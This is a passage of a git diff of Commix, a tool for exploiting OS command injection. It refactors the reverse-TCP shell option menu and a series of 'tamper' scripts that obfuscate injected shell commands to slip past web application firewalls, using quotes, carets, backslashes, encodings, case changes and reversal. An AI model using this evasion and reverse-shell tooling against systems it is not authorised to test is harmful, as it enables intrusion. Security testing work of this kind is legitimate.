print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL) + option = _input() + if option.lower() == "reverse_tcp": + warn_msg = "You are into the '" + option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue - if option.lower() == "?": + if option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit": + if option.lower() == "quit" or option.lower() == "exit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": - settings.REVERSE_TCP = False - break + elif option.lower() == "os_shell" or option.lower() == "back": + settings.REVERSE_TCP = False + break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": - if check_lhost(option[10:]): + if checks.check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: @@ -766,10 +554,10 @@ def configure_reverse_tcp(separator): elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - continue + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: @@ -777,16 +565,14 @@ def configure_reverse_tcp(separator): else: continue elif option[4:12].lower() == "srvport ": - check_srvport(option[12:]) + checks.check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": - check_uripath(option[12:]) + checks.check_uripath(option[12:]) else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 5f500298b7..4ea075407d 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,60 +12,35 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import settings """ -About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +About: Adds back slashes (\) between the characters in a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backslashes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "\\" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_back_slashes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "\\I\\F\\S": "IFS", - "\\i\\f": "if", - "\\t\\h\\e\\n": "then", - "\\e\\l\\s\\e": "else", - "\\f\\i": "fi", - "\\s\\t\\r": "str", - "\\c\\m\\d": "cmd", - "\\c\\ha\\r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char, "")) return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_back_slashes(payload) - + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_back_slashes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index edf186e321..0a49618835 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,17 +13,27 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys +from src.utils import menu from src.utils import settings + """ -About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against *nix targets. +About: Uses backticks (`) instead of "$()" for commands substitution in a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backticks" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.USE_BACKTICKS = True - -# eof \ No newline at end of file +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: + settings.USE_BACKTICKS = True + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" + payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", + settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + ) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 6fcb508dd7..f55967fc75 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -15,8 +15,8 @@ import sys import base64 -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Base64 all characters in a given payload. @@ -29,17 +29,14 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.UNICODE_ENCODING) + payload = payload.decode(settings.DEFAULT_CODEC) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 8e1f67fdbc..9be8c42ec6 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,12 +12,14 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys +from src.utils import menu from src.utils import settings """ -About: Adds caret symbol (^) between the characters of the generated payloads. +About: Adds caret symbol (^) between the characters in a given payload. Notes: This tamper script works against windows targets. """ @@ -28,42 +30,24 @@ def tamper(payload): def add_caret_symbol(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - if re.compile("\w+").findall(payload): - if str(len(max(re.compile("\w+").findall(payload), key=lambda word: len(word)))) >= 5000: - long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) - - rep = { - "^^": "^", - '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") - } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + if re.compile(r"\w+").findall(payload): + long_string = "" + if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: + long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) + rep = { + "^^": "^", + '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', + re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string) : long_string.replace("^", "") + } + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', payload) + rep = dict((re.escape(k), v) for k, v in rep.items()) + pattern = re.compile("|".join(rep.keys())) + payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - - if settings.TARGET_OS == "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_caret_symbol(payload) + if settings.TARGET_OS == settings.OS.WINDOWS: + return add_caret_symbol(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "*nix target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 8ea926ef2a..41b81b4fb6 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,60 +12,35 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re -import sys from src.utils import settings """ -About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "dollaratsigns" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "$@" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_dollar_at_signs(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "$@I$@F$@S": "IFS", - "$@i$@f": "if", - "$@t$@h$@e$@n": "then", - "$@e$@l$@s$@e": "else", - "$@f$@i": "fi", - "$@s$@t$@r": "str", - "$@c$@m$@d": "cmd", - "$@c$@ha$@r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_dollar_at_signs(payload) - + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_dollar_at_signs(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 6a086cee21..f387d65eb4 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,60 +12,39 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re -import sys from src.utils import settings """ -About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +About: Adds double quotes (") between the characters in a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "doublequotes" +global obf_char + +if settings.TRANFROM_PAYLOAD != None: + settings.TRANFROM_PAYLOAD = None + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_double_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - '""I""F""S': 'IFS', - '""i""f': 'if', - '""t""h""e""n': 'then', - '""e""l""s""e': 'else', - '""f""i': 'fi', - '""s""t""r': 'str', - '""c""m""d': 'cmd', - '""c""ha""r': 'char' - } - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'""\1', payload) else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_double_quotes(payload) - - else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + word = "tokens" + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + payload = payload.replace(word,_) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char, "")) + return payload + return add_double_quotes(payload) - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 29a2a13eed..01c3e275a6 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -29,17 +29,15 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) - payload = hexencode(payload) - payload = payload.decode(settings.UNICODE_ENCODING) + encoded_payload, _ = hexencode(payload) + if _: + payload = encoded_payload return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 4529d9c40b..73cbe1e3c6 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -17,13 +17,19 @@ from src.utils import settings """ -About: Adds multiple spaces around OS commands +About: Adds multiple spaces around operating system commands in a given payload. Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. """ __tamper__ = "multiplespaces" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True -# eof \ No newline at end of file +def tamper(payload): + if settings.TAMPER_SCRIPTS[__tamper__]: + for i in range(0, len(settings.WHITESPACES)): + settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 1750e9628b..3227a446e2 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -19,54 +19,29 @@ from src.utils import settings """ -About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against *nix targets. +About: Adds double quotes (") around of a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "nested" + if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -double_quote = "\"" -def tamper(payload): - def nested(payload): - if settings.TARGET_OS != "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if not menu.options.prefix and not menu.options.suffix: - payload = double_quote + payload + double_quote - else: - if menu.options.prefix and menu.options.prefix != double_quote: - menu.options.prefix = menu.options.prefix + double_quote - else: - menu.options.prefix = double_quote - - if menu.options.suffix and menu.options.suffix != double_quote: - menu.options.suffix = menu.options.suffix + double_quote - else: - menu.options.suffix = double_quote - return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = nested(payload) - +def nested(): + if menu.options.prefix: + menu.options.prefix = "\"" + menu.options.prefix else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + menu.options.prefix = "\"" + if menu.options.suffix: + menu.options.suffix = menu.options.suffix + "\"" + else: + menu.options.suffix = "\"" + +if settings.TARGET_OS != settings.OS.WINDOWS: + nested() +def tamper(payload): return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py new file mode 100644 index 0000000000..3a106c62a0 --- /dev/null +++ b/src/core/tamper/printf2echo.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +Notes: This tamper script works against Unix-like target(s) +""" + +__tamper__ = "printf2echo" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + def printf_to_echo(payload): + if "printf" in payload: + payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$" + settings.RANDOM_VAR_GENERATOR + "2" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs" + settings.CMD_SUB_SUFFIX + ) + return payload + if settings.TARGET_OS != settings.OS.WINDOWS: + return printf_to_echo(payload) + else: + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py new file mode 100644 index 0000000000..9e7e130180 --- /dev/null +++ b/src/core/tamper/randomcase.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from random import choice +from src.utils import settings + +""" +About: Replaces each character in a user-supplied OS command with a random case. +Notes: This tamper script works against Unix-like target(s). +""" + +__tamper__ = "randomcase" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + _ = (''.join(choice((str.upper, str.lower))(c) for c in settings.USER_APPLIED_CMD)) + if settings.EXPLOITATION_PHASE: + if settings.TAMPER_SCRIPTS["rev"]: + if settings.USE_BACKTICKS: + _ = _[::-1] + "|rev" + else: + _ = "$(echo \"" + _[::-1] + "\"|rev" + ")" + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" + else: + random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py new file mode 100644 index 0000000000..6fe2d5fc78 --- /dev/null +++ b/src/core/tamper/rev.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +About: Reverses (characterwise) the user-supplied operating system commands in a given payload. +Notes: This tamper script works against Unix-like target(s). +References: [1] https://github.com/commixproject/commix/issues/408 + [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b +""" + +__tamper__ = "rev" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if settings.EXPLOITATION_PHASE: + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" + else: + rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 5d65c4453d..f48b8bb8ff 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -12,60 +12,34 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re -import sys from src.utils import settings """ -About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +About: Adds single quotes (') between the characters in a given payload. +Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "singlequotes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_single_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "''I''F''S": "IFS", - "''i''f": "if", - "''t''h''e''n": "then", - "''e''l''s''e": "else", - "''f''i": "fi", - "''s''t''r": "str", - "''c''m''d": "cmd", - "''c''ha''r": "char" - } - payload = re.sub(r'([b-zD-Z])', r"''\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + def add_single_quotes(payload): + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char, "")) return payload - - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_single_quotes(payload) - + if settings.TARGET_OS != settings.OS.WINDOWS: + return add_single_quotes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 144198e69d..f384aaa8d1 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,20 +3,23 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + For more see the file 'readme/COPYING' for copying permission. """ import sys +from src.utils import menu from src.utils import settings """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". 